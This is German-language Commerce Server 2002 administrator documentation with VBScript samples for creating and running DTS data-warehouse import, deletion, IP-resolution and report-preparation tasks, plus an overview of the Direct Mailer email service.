  • Konfigurieren Sie den Analysis-Server so, dass OLAP über HTTP angezeigt wird. Das ist notwendig, um dynamische Berichte anzuzeigen. Informationen finden Sie unter Zugriff auf den Analysis-Server über HTTPS.


Erstellen von Skripts für DTS-Tasks

Mithilfe von Commerce Server-DTS-Tasks (Data Transformation Services) werden Daten in das Data Warehouse importiert oder vorhandene Daten geändert. Sie können die DTS-Tasks mithilfe von SQL Server ausführen oder Skripts zur Erstellung und Ausführung der Tasks über die Befehlszeile entwickeln.

In Commerce Server 2000 konnten DTS-Tasks mithilfe von Skripts ausgeführt werden, es konnten jedoch keine DTS-Tasks und -Pakete mithilfe von Skripts erstellt werden, da die von diesen Tasks und Paketen verwendeten Parameter nicht offen gelegt wurden. Somit mussten Siteentwickler und Systemadministratoren jedes Paket über SQL Server manuell erstellen, bevor sie zur Automatisierung ein Skript erstellen konnten.

In Commerce Server 2002 sind die Parameter für DTS-Tasks offen gelegt, sodass Siteentwickler und Systemadministratoren die Erstellung und Planung der DTS-Pakete für jeden neuen Client automatisieren können, wodurch der Zeitaufwand zur Ausführung aller Tasks minimiert wird.

Durch jedes Skript wird jeweils ein Paket für jeden DTS-Task erstellt. In ein Paket können mehrere Tasks geladen werden. Weitere Informationen über das Erstellen von DTS-Paketen mit mehreren Tasks finden Sie in der SQL Server-Hilfe.

Durch bestimmte DTS-Tasks werden die Datenbanktabellen während der Konfiguration und Ausführung des Tasks erweitert. Für die SQL Server-Operationen zur Erweiterung der Datenbanktabellen ist es erforderlich, dass der Benutzer seine entsprechende SQL-Rolle inne hat. Weitere Informationen über Benutzerrollen finden Sie in der SQL Server-Onlinedokumentation.

Dieser Abschnitt beinhaltet folgende Themen:

  • Erstellen eines Skripts für den DTS-Konfigurationssynchronisations-Task
  • Erstellen eines Skripts für den DTS-Webserverprotokollimport-Task
  • Erstellen eines Skripts für den DTS-Transaktionsdatenimport-Task
  • Erstellen eines Skripts für den DTS-Produktkatalogimport-Task
  • Erstellen eines Skripts für den DTS-IP-Auflösungstask
  • Erstellen eines Skripts für den DTS-Berichtsvorbereitungstask


Erstellen eines Skripts für den DTS-Konfigurationssynchronisations-Task

Mit dem folgenden Skript kann der DTS-Konfigurationssynchronisations-Task erstellt und ausgeführt werden. Dieses Skript kann zur Erstellung eines Pakets mit dem auszuführenden DTS-Task verwendet werden. Zum Ausführen des Beispielskripts gibt es zwei Möglichkeiten. Sie können das Paket über die Befehlszeile mit dem Befehl DTSRun.exe ausführen. Die Datei DTSRun.exe wird bei der Installation von SQL Server automatisch auf dem Server installiert. Sie können das Skript auch in eine Visual Basic-Skriptdatei (.vbs) kopieren und mit cscript ausführen, z. B. <Laufwerk>:cscript <Dateiname>.vbs.

Für einen erfolgreichen Import von Daten in das Data Warehouse müssen die DTS-Tasks in der folgenden Reihenfolge ausgeführt werden:

  1. Konfigurationssynchronisation
  2. Import von Webserverprotokollen
  3. Import von Transaktionsdaten
  4. Produktkatalogimport
  5. Profildatenimport
  6. Kampagnendatenimport
  7. Datenlöschung
  8. Modell-Generator
  9. IP-Auflösung
  10. Berichtsvorbereitung
  11. Berichtszwischenspeicherung

Weitere Informationen zum DTSSyncAdminData-Objekt finden Sie im Thema Das Objekt "DTSSyncAdminData".

Eine Beschreibung dieses DTS-Tasks finden Sie unter Commerce Server-DTS-Tasks.

'**********************************************************************
' Configuration Synchronization DTS Task
' This script creates a DTS package and runs it.
'**********************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps
set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Configuration Syncronization DTS Task"
oPackage.Description = "Synchronizes the Data Warehouse with your Commerce Server application after you make changes to configuration settings."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSSyncAdminData")
oTask.Name = "Task1"
oTask.Description = "Creates a task for ConfigSync DTS"
Set oTaskProps = oTask.Properties

'*******************************************************************
' Set Configuration Synchronization DTS task properties.
'*******************************************************************
oTaskProps("SourceType").value = 0
' Make sure the SourceName is set to the correct site.
oTaskProps("SourceName").value = "RetailSite"
oPackage.Tasks.Add oTask

' ******************************************************************
' Create a step.
' ******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

' For custom tasks written in VB, the steps cannot run on a secondary
' thread.

oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " +
            oPackage.Description + " failed."
        End If
    Next

MsgBox oPackage.Description + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Erstellen eines Skripts für den DTS-Webserverprotokollimport-Task

Mit dem folgenden Skript wird der DTS-Webserverprotokollimport-Task erstellt und ausgeführt. Dieses Skript kann zur Erstellung eines Pakets mit dem auszuführenden DTS-Task verwendet werden. Zum Ausführen des Beispielskripts gibt es zwei Möglichkeiten. Sie können das Paket über die Befehlszeile mit dem Befehl DTSRun.exe ausführen. Die Datei DTSRun.exe wird bei der Installation von SQL Server automatisch auf dem Server installiert. Sie können das Skript auch in eine Visual Basic-Skriptdatei (.vbs) kopieren und mit cscript ausführen, z. B. <Laufwerk>:cscript <Dateiname>.vbs.

Für einen erfolgreichen Import von Daten in das Data Warehouse müssen die DTS-Tasks in der folgenden Reihenfolge ausgeführt werden:

  1. Konfigurationssynchronisation
  2. Import von Webserverprotokollen
  3. Import von Transaktionsdaten
  4. Produktkatalogimport
  5. Profildatenimport
  6. Kampagnendatenimport
  7. Datenlöschung
  8. Modell-Generator
  9. IP-Auflösung
  10. Berichtsvorbereitung
  11. Berichtszwischenspeicherung

Weitere Informationen zum DTSLogImport-Objekt finden Sie im Thema Das Objekt "DTSLogImport".

Eine Beschreibung dieses DTS-Tasks finden Sie unter Commerce Server-DTS-Tasks.

'******************************************************************
' Web Server Log Import DTS Task
' This script creates a DTS package and runs it.
'******************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps
set oPackage = WScript.CreateObject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Web Server Log Import task "
oPackage.Description = "Defines and imports Web log files."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSLogImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for WebLogImport DTS"
Set oTaskProps = oTask.Properties

'*******************************************************************
' Set Web Server Log Import DTS task properties.
'*******************************************************************
oTaskProps("SourceName").value = "BlankSite"
oTaskProps("SourceType").value = 0

'ReadInfoFromAdmin property is:
'True: if Logimportfiles are to be selected automatically from the log file directory for each web server
'False: if LogImportfiles are to be specified manually.

oTaskProps("ReadInfoFromAdmin").value = True
oTaskProps("ImportAllLogsSinceLastImport").value = TRUE

'*******************************************************************
' Set the log file path.
'*******************************************************************
'This property is used if the ReadInfoFromAdmin = True. Igonred otherwise.
Dim vData
ReDim vData(0)
vData(0) = "LDS for MachineXYZ/Default Web Site|C:\LogFilePath\ex990402.log"
oTaskProps("VLogFileInfo").Value = vData
oPackage.Tasks.Add oTask

' ******************************************************************
' Create a step.
' ******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

' For custom tasks written in VB, the steps cannot run on a secondary
' thread.
oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " +
            oPackage.Description + " failed."
        End If
    Next

MsgBox oPackage.Description + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Erstellen eines Skripts für den DTS-Transaktionsdatenimport-Task

Mit dem folgenden Skript wird der DTS-Transaktionsdatenimport-Task erstellt und ausgeführt. Dieses Skript kann zur Erstellung eines Pakets mit dem auszuführenden DTS-Task verwendet werden. Zum Ausführen des Beispielskripts gibt es zwei Möglichkeiten. Sie können das Paket über die Befehlszeile mit dem Befehl DTSRun.exe ausführen. Die Datei DTSRun.exe wird bei der Installation von SQL Server automatisch auf dem Server installiert. Sie können das Skript auch in eine Visual Basic-Skriptdatei (.vbs) kopieren und mit cscript ausführen, z. B. <Laufwerk>:cscript <Dateiname>.vbs.

Für einen erfolgreichen Import von Daten in das Data Warehouse müssen die DTS-Tasks in der folgenden Reihenfolge ausgeführt werden:

  1. Konfigurationssynchronisation
  2. Import von Webserverprotokollen
  3. Import von Transaktionsdaten
  4. Produktkatalogimport
  5. Profildatenimport
  6. Kampagnendatenimport
  7. Datenlöschung
  8. Modell-Generator
  9. IP-Auflösung
  10. Berichtsvorbereitung
  11. Berichtszwischenspeicherung

Weitere Informationen zum DTSTransactionImport-Objekt finden Sie im Thema Das Objekt "DTSTransactionImport".

Eine Beschreibung dieses DTS-Tasks finden Sie unter Commerce Server-DTS-Tasks.

'******************************************************************
' Transaction data import DTS Task
' This script creates a DTS package and runs it.

' Note: This DTS task cannot be run on a computer that only has the Commerce Server

' 2002 Business Analytics Stand-Alone feature installed. This DTS task gets the required

' connection strings for both the Commerce database and the Data Warehouse from the

' Admin object based on the site name set in the script.

'******************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps

Dim iStatus
Dim i
Dim DTSStepExecResult_Failure

DTSStepExecResult_Failure  = 1

'On Error GoTo PackageError:

set oPackage = CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Transaction Data Import DTS Task"
oPackage.Description = "Defines and imports transaction data."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSTransactionImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for TransactionDataImport DTS"
Set oTaskProps = oTask.Properties

' Set Transaction Data Import DTS properties
' Incremental import = 100
' Full Import= 0
oTaskProps("ProcessingType").value = 0

' 0 for the site level import and 1 for the Data Warehouse level import
oTaskProps("SourceType").value = 1

' Make sure SourceName is set to the correct Web site or Data Warehouse
' name.
oTaskProps("SourceName").value = "Data Warehouse 1"

' Number of connection retries and the delay between each retry in
' seconds in case of a connection failure.
oTaskProps("NumRetries").value = 10
oTaskProps("RetryInterval").value = 20
oTaskProps("QueryInterval").value = 25

oPackage.Tasks.Add oTask
'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

' For custom tasks written in Visual Basic, the steps cannot run on a
' secondary thread.
oStep.ExecuteInMainThread = True

oPackage.Steps.Add oStep

' ******************************************************************
' Execute the Package
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " +
            oPackage.Description + " failed."
        End If
    Next

MsgBox oPackage.Description + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Erstellen eines Skripts für den DTS-Produktkatalogimport-Task

Mit dem folgenden Skript wird der DTS-Produktkatalogimport-Task erstellt und ausgeführt. Dieses Skript kann zur Erstellung eines Pakets mit dem auszuführenden DTS-Task verwendet werden. Zum Ausführen des Beispielskripts gibt es zwei Möglichkeiten. Sie können das Paket über die Befehlszeile mit dem Befehl DTSRun.exe ausführen. Die Datei DTSRun.exe wird bei der Installation von SQL Server automatisch auf dem Server installiert. Sie können das Skript auch in eine Visual Basic-Skriptdatei (.vbs) kopieren und mit cscript ausführen, z. B. <Laufwerk>:cscript <Dateiname>.vbs.

Für einen erfolgreichen Import von Daten in das Data Warehouse müssen die DTS-Tasks in der folgenden Reihenfolge ausgeführt werden:

  1. Konfigurationssynchronisation
  2. Import von Webserverprotokollen
  3. Import von Transaktionsdaten
  4. Produktkatalogimport
  5. Profildatenimport
  6. Kampagnendatenimport
  7. Datenlöschung
  8. Modell-Generator
  9. IP-Auflösung
  10. Berichtsvorbereitung
  11. Berichtszwischenspeicherung

Weitere Informationen zum DTSCatalogImport-Objekt finden Sie im Thema Das Objekt "DTSCatalogImport".

Eine Beschreibung dieses DTS-Tasks finden Sie unter Commerce Server-DTS-Tasks.

'******************************************************************
' Catalog Data Import DTS Task
' This script creates a DTS package and runs it.
'******************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps
Dim DTSStepExecResult_Failure
Dim iStatus
Dim i

DTSStepExecResult_Failure  = 1
'On Error GoTo PackageError:
set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Catalog Import DTS Task "
oPackage.Description = "Imports catalog data."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSCatalogImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for ProductCatalogImport DTS"
Set oTaskProps = oTask.Properties

' Set Catalog DTS properties
' Incremental import = 100
' Full Import= 0
oTaskProps("ProcessingType").value = 0

' 0 for the site level import and 1 for the Data Warehouse level import
oTaskProps("SourceType").value = 0

'You can either import at the site level or the Data Warehouse level
oTaskProps("SourceName").value = "BlankSite"

' Number of SQL Server retries in case of SQL Server failure
oTaskProps("NumRetries").value = 0
oTaskProps("RetryInterval").value = 20

'**********************************************************************
' Set the catalog dimensions you want to import
'**********************************************************************
oPackage.Tasks.Add oTask

'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

'For custom tasks written in Visual Basic, the steps cannot run on a
' secondary thread.
oStep.ExecuteInMainThread = True

oPackage.Steps.Add oStep

'******************************************************************
' Execute the package.
'******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " +
            oPackage.Description + " failed."
        End If
    Next

MsgBox oPackage.Description + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Erstellen eines Skripts für den DTS-Datenlöschungstask

Mit dem folgenden Skript wird der DTS-Datenlöschungstask erstellt und ausgeführt. Dieses Skript kann zur Erstellung eines Pakets mit dem auszuführenden DTS-Task verwendet werden. Zum Ausführen des Beispielskripts gibt es zwei Möglichkeiten. Sie können das Paket über die Befehlszeile mit dem Befehl DTSRun.exe ausführen. Die Datei DTSRun.exe wird bei der Installation von SQL Server automatisch auf dem Server installiert. Sie können das Skript auch in eine Visual Basic-Skriptdatei (.vbs) kopieren und mit cscript ausführen, z. B. <Laufwerk>:cscript <Dateiname>.vbs.

Für einen erfolgreichen Import von Daten in das Data Warehouse müssen die DTS-Tasks in der folgenden Reihenfolge ausgeführt werden:

  1. Konfigurationssynchronisation
  2. Import von Webserverprotokollen
  3. Import von Transaktionsdaten
  4. Produktkatalogimport
  5. Profildatenimport
  6. Kampagnendatenimport
  7. Datenlöschung
  8. Modell-Generator
  9. IP-Auflösung
  10. Berichtsvorbereitung
  11. Berichtszwischenspeicherung

Weitere Informationen zum DTSDeleteImport-Objekt finden Sie im Thema Das Objekt "DTSDeleteImport".

Eine Beschreibung dieses DTS-Tasks finden Sie unter Commerce Server-DTS-Tasks.

'******************************************************************
' Data Deletion DTS Task
' This script creates a DTS package and runs it.
'******************************************************************
set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "Data Deletion DTS Task "
oPackage.Description = "Deletes detailed log file data and summarized data for a site in the Data Warehouse or from the entire Data Warehouse."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSDeleteImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for Delete DTS"
Set oTaskProps = oTask.Properties

'*******************************************************************
' Set Data Deletion DTS task properties to remove all the logs for the site.
'*******************************************************************
oTaskProps("SourceType").value= 0
oTaskProps("SourceName").value="BlankSite"
oTaskProps("DeleteType").value= 1
oTaskProps("WebLogDeleteType").value= 1
oTaskProps("Interval").value=0
oTaskProps("DeleteLevel").value=1
oTaskProps("Count").value=0

oPackage.Tasks.Add oTask

' ******************************************************************
' Create a step.
' ******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

' For custom tasks written in VB, the steps cannot run on a secondary
' thread.
oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep
MsgBox oPackage.Description + " Execute is called"
' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " +
            oPackage.Description + " failed."
        End If
    Next

MsgBox oPackage.Description + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing

Der Code zwischen den Kommentaren 'Festlegen der Eigenschaften des DTS-Datenlöschungstasks zum Entfernen aller Protokolle für die Site und 'Erstellen eines Schrittes' kann durch den folgenden Code ersetzt werden, damit nur die angegebenen Protokolldateien entfernt werden.

oTaskProps("SourceType").value= 0
oTaskProps("SourceName").value="BlankSite"
oTaskProps("DeleteType").value= 1
oTaskProps("WebLogDeleteType").value= 1
' The ListofLogs property must be set to valid taskids in the
' Task History table.
oTaskProps("ListofLogs").value= "1058,1059"
oPackage.Tasks.Add oTask


Erstellen eines Skripts für den DTS-IP-Auflösungstask

Mit dem folgenden Skript wird der DTS-IP-Auflösungstask erstellt und ausgeführt. Dieses Skript kann zur Erstellung eines Pakets mit dem auszuführenden DTS-Task verwendet werden. Zum Ausführen des Beispielskripts gibt es zwei Möglichkeiten. Sie können das Paket über die Befehlszeile mit dem Befehl DTSRun.exe ausführen. Die Datei DTSRun.exe wird bei der Installation von SQL Server automatisch auf dem Server installiert. Sie können das Skript auch in eine Visual Basic-Skriptdatei (.vbs) kopieren und mit cscript ausführen, z. B. <Laufwerk>:cscript <Dateiname>.vbs.

Für einen erfolgreichen Import von Daten in das Data Warehouse müssen die DTS-Tasks in der folgenden Reihenfolge ausgeführt werden:

  1. Konfigurationssynchronisation
  2. Import von Webserverprotokollen
  3. Import von Transaktionsdaten
  4. Produktkatalogimport
  5. Datenlöschung
  6. IP-Auflösung
  7. Berichtsvorbereitung

Weitere Informationen zum DTSIPResolution-Objekt finden Sie im Thema Das Objekt "DTSIPResolution".

Eine Beschreibung dieses DTS-Tasks finden Sie unter Commerce Server-DTS-Tasks.

'******************************************************************
' IP Resolution DTS Task
' This script creates a DTS package and runs it.
'******************************************************************
Dim oPackage
Dim oTask
Dim oStep
Dim oProps
Dim oTaskProps

set oPackage = WScript.CreateOBject("DTS.Package")

'******************************************************************
' Define package properties.
'******************************************************************
oPackage.Name = "IPResolution DTS Task "
oPackage.Description = "Resolves Internet Protocol (IP) addresses from the imported user data."

'******************************************************************
' Create a task.
'******************************************************************
Set oTask = oPackage.Tasks.New("Commerce.DTSIPResolution")
oTask.Name = "Task1"
oTask.Description = "Creates a task for IPRes DTS"
Set oTaskProps = oTask.Properties

'*******************************************************************
' Set IP Resolution DTS task properties.
'*******************************************************************
oTaskProps("SourceName").value = "Data Warehouse 1"
oTaskProps("ProcessingType").value = 0
oTaskProps("BatchSize").value = 500
oTaskProps("LocalDomainName").value = "microsoft.com"
oTaskProps("TimeOut").value = 60
oTaskProps("Ncache").value = 30

oPackage.Tasks.Add oTask

'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

'For custom tasks written in VB, the steps cannot run on a secondary
' thread.
oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

' ******************************************************************
' Execute the package.
' ******************************************************************
oPackage.Execute
    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " +
            oPackage.Description + " failed."
        End If
    Next

MsgBox oPackage.Description + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Erstellen eines Skripts für den DTS-Berichtsvorbereitungstask

Mit dem folgenden Skript wird der DTS-Berichtsvorbereitungstask erstellt und ausgeführt. Dieses Skript kann zur Erstellung eines Pakets mit dem auszuführenden DTS-Task verwendet werden. Zum Ausführen des Beispielskripts gibt es zwei Möglichkeiten. Sie können das Paket über die Befehlszeile mit dem Befehl DTSRun.exe ausführen. Die Datei DTSRun.exe wird bei der Installation von SQL Server automatisch auf dem Server installiert. Sie können das Skript auch in eine Visual Basic-Skriptdatei (.vbs) kopieren und mit cscript ausführen, z. B. <Laufwerk>:cscript <Dateiname>.vbs.

Für einen erfolgreichen Import von Daten in das Data Warehouse müssen die DTS-Tasks in der folgenden Reihenfolge ausgeführt werden:

  1. Konfigurationssynchronisation
  2. Import von Webserverprotokollen
  3. Import von Transaktionsdaten
  4. Produktkatalogimport
  5. Datenlöschung
  6. IP-Auflösung
  7. Berichtsvorbereitung

Weitere Informationen zum DTSPostImport-Objekt finden Sie im Thema Das Objekt "DTSPostImport".

Eine Beschreibung dieses DTS-Tasks finden Sie unter Commerce Server-DTS-Tasks.

Hinweis

Der Berichtsvorbereitungstask sollte erst ausgeführt werden, nachdem alle Daten für sämtliche Websites mit einem gemeinsamen Zugriff auf das Data Warehouse in das Data Warehouse importiert wurden. Führen Sie den Task nicht für jede einzelne Website im Data Warehouse aus.

'*********************************************************************
' Report Preparation DTS Task
' This script creates a DTS package and runs it.
'**********************************************************************
Dim oPackage As DTS.Package
Dim oTask As DTS.Task
Dim oStep As DTS.Step
Dim oTaskProps As Object

'******************************************************************
' Define package properties.
'******************************************************************
Set oPackage = CreateObject("DTS.Package")
oPackage.FailOnError = True
oPackage.Name = "Report Preparation DTS Task"
oPackage.Description = "Populates OLAP cubes with the import data, prepares the data for report generation, and refreshes the cubes after a deletion."

'******************************************************************
' Create a task.
'******************************************************************
'Make sure you are passing the correct ProgID.
Set oTask = oPackage.Tasks.New("Commerce.DTSPostImport")
oTask.Name = "Task1"
oTask.Description = "Creates a task for PrepareRport DTS"
Set oTaskProps = oTask.Properties

oTaskProps("SourceName").Value = "DataWarehouse 1"
' Set the Processing Type to 1 for full import, 2 for refresh,
' or 100 for Incremental
oTaskProps("ProcessingType").Value = 1
oTaskProps("TaskName").Value = "Task1"
oTaskProps("NumRetries").Value = 1
oTaskProps("RetryInterval").Value = 30

oPackage.Tasks.Add oTask

'******************************************************************
' Create a step.
'******************************************************************
Set oStep = oPackage.Steps.New
oStep.Name = "Step1"
oStep.TaskName = "Task1"

oStep.ExecuteInMainThread = True
oPackage.Steps.Add oStep

'******************************************************************
' Execute the package.
'******************************************************************
oPackage.Execute

    For I = 1 To oPackage.Steps.Count
        If oPackage.Steps(I).ExecutionResult = 1 Then
            iStatus = False
            MsgBox oPackage.Steps(I).Name + " in the " +
            oPackage.Description + " failed."
        End If
    Next

MsgBox oPackage.Description + " Done"

Set oStep = Nothing
Set oTaskProps = Nothing
Set oProps = Nothing
Set oTaskProps = Nothing
Set oPackage = Nothing


Ausführen von Direct Mailer

Mit Commerce Server Direct Mailer können Sie personalisierte E-Mail-Nachrichten über eine Website oder nicht personalisierte Sendungen auf Grundlage einer nichtformatierten Datei an große Gruppen von Empfängern senden. Direct Mailer kann als eigenständiger Prozess oder als integrierter Bestandteil der Kampagnenmodule in Commerce Server Business Desk verwendet werden.

Direct Mailer wird bei der Installation automatisch zur Zusammenarbeit mit anderen Commerce Server-Features eingerichtet. Sie können über Commerce Server Business Desk auf Direct Mailer zugreifen oder können diesen Dienst als eigenständiges Produkt verwenden, ohne andere Commerce Server-Komponenten zu nutzen. Um Direct Mailer als eigenständiges Produkt einzusetzen, verwenden Sie die Befehlszeilenschnittstelle.

Dieser Abschnitt beinhaltet folgende Themen:

  • Workflow für Direct Mailer. Erläutert den Workflow von Direct Mailer-Aufträgen.
  • Informationen zu Direct Mailer. Beschreibt Direct Mailer und die zugehörigen Softwareanforderungen und -abhängigkeiten. Behandelt die Komponenten von Direct Mailer, einschließlich einer kurzen Übersicht über Abonnementkündigungslisten und deren Funktionsweise.
  • Verwenden des Listen-Managers zum Erstellen und Verwalten von Direktsendungslisten. Beschreibt die Verwendung von Listen in Business Desk-Listen-Manager sowie die Erstellung und Verarbeitung von Direct Mailer-Listen.
  • Geschlossene Systeme mit Direct Mailer. Beschreibt, wie Benutzerdaten erfasst und analysiert werden und wie mit Direct Mailer Benutzer anhand der Analyseergebnisse verwaltet werden können.
  • Einrichten einer Direktsendungskampagne. Beschreibt die zum Einrichten einer Direktsendungskampagne erforderlichen Schritte.
  • Entwickeln von Direktsendungsinhalten. Beschreibt, wie personalisierter Inhalt für den Nachrichtentext von Direktsendungen erstellt werden kann.
  • Konfigurieren von Direct Mailer. Erläutert, wie die Eigenschaften zur Steuerung der Auftragsausführung und die Verbindungszeichenfolge der Ressource zur Direct Mailer-Datenbank geändert werden können. Darüber hinaus wird beschrieben, wie mehrere Übermittlungspfade verwendet werden und ein SMTP-Server konfiguriert wird.
  • Erneutes Starten von Direct Mailer. Beschreibt, wie Direct Mailer neu gestartet werden kann.
  • Überwachen von Direct Mailer-Aufträgen. Erläutert, wie der Status von Direct Mailer-Aufträgen überprüft werden kann und Fehler in Direct Mailer-Aufträgen angezeigt werden.
  • Anhalten, Beenden und Löschen von Direct Mailer-Aufträgen. Beschreibt, wie Direct Mailer-Aufträge beendet und gelöscht werden können.
  • Erneutes Starten von Direct Mailer-Aufträgen. Erläutert, wie Direct Mailer-Aufträge neu gestartet werden können, die vor Abschluss der Verarbeitung angehalten wurden.
  • Ausführen von Direct Mailer im eigenständigen Modus. Erläutert, wie Direct Mailer als eigenständiges Produkt ausgeführt werden kann.


Workflow für Direct Mailer

In der folgenden Abbildung wird der Workflow für Direct Mailer dargestellt.

Workflow für Direct Mailer

  1. Eine Empfängerliste, die in einem Analysebericht, einer Text- bzw. CSV-Datei (durch Trennzeichen getrennte Datei) oder einer SQL Server-Tabelle erstellt wurde, wird in den Listen-Manager importiert.
  2. Über die Befehlszeile wird ein Direct Mailer-Auftrag ausgeführt, oder in Commerce Server Business Desk wird eine Direktsendungskampagne erstellt.
  3. Durch den Listen-Manager-Dienst wird die Direct Mailer-Datenbank mit der Empfängerliste aufgefüllt. Dabei wird die Verbindungszeichenfolge der Direct Mailer-Datenbank als Parameter übergeben.
  4. Der Direct Mailer-Dienst führt zum Auswählen von Daten aus der Kampagenendatenbank den SQL-Befehl OpenRowset aus.
  5. Die Direct Mailer-Datenbank wird mit den Listendaten aus der Kampagnendatenbank aufgefüllt.
  6. Der Direktsendungsdienst von Windows NT empfängt die Listendaten aus der Direct Mailer-Datenbank.
  7. Der Direktsendungsdienst sendet die E-Mail-Nachricht an die Empfänger.


Informationen zu Direct Mailer

Direct Mailer ist ein Windows 2000-Dienst, der bei einer vollständigen Installation zusammen mit Commerce Server installiert wird bzw. bei einer benutzerdefinierten Installation als optionale Installationskomponente gewählt werden kann. Pro Server kann jeweils nur eine Instanz von Direct Mailer vorhanden sein. Auf der Ebene der globalen Ressourcen können Sie jedoch mehr als eine Direct Mailer-Ressource verwenden.

Direct Mailer ist aufgrund der zentralisierten Gestaltung dieses Moduls leicht zu verwalten. Direct Mailer wird in Commerce Server auf der Ebene der globalen Ressourcen eingesetzt. Jede Site zeigt auf die spezifische Gruppeninstanz von Direct Mailer, die für diese Site verwendet werden soll. Dadurch können Sie eine Partitionierung und einen Lastenausgleich für die Sites durchführen, die Direct Mailer verwenden.

Direct Mailer bietet eine Befehlszeilenschnittstelle, über die Sie Direct Mailer-Aufträge erstellen, ausführen und überwachen sowie Start- und Wiederherstellungstasks für Aufträge durchführen können. Zum Konfigurieren von Eigenschaften für Direct Mailer verwenden Sie Commerce Server-Manager.

Mit Direct Mailer können folgende Aufgaben ausgeführt werden:

  • Verwalten wiederkehrender E-Mails als Direct Mailer-Aufträge.
  • Vorbereiten nicht personalisierter Nachrichtentexte.
  • Generieren personalisierter Nachrichten aus einer Active Server Page (ASP).
  • Formatieren von E-Mail-Nachrichtenköpfen
  • Einstellen des Codepagewerts (d. h. der Sprache) und Konvertieren von Nachrichtentexten in den korrekten Nachrichtentyp: MIME Encapsulation of Aggregate HTML Documents (MHTML oder Einschließen von aggregierten HTML-Dokumenten mit MIME), Multipurpose Internet Mail Extensions (MIME oder Vielzweckerweiterungen für Internet-E-Mail) oder Text.
  • Schnelles Verarbeiten umfangreicher Listen mit Empfängern, an die Sie E-Mail-Nachrichten senden möchten.
  • Ermöglicht das Hinzufügen von Dateianlagen.

Sie können Direct Mailer eine Empfängerliste zur Verfügung stellen, indem Sie das Modul "Listen-Manager" in Commerce Server Business Desk verwenden. Wenn Sie Direct Mailer im eigenständigen Modus von der Befehlszeile aus ausführen, können Sie eine zu verwendende Liste festlegen (durch Angabe eines Dateinamens oder durch eine SQL Server-Abfrage). Direct Mailer führt für alle Empfängerlisten dieselben Verarbeitungsschritte über die Listen-Manager-Objekte durch.

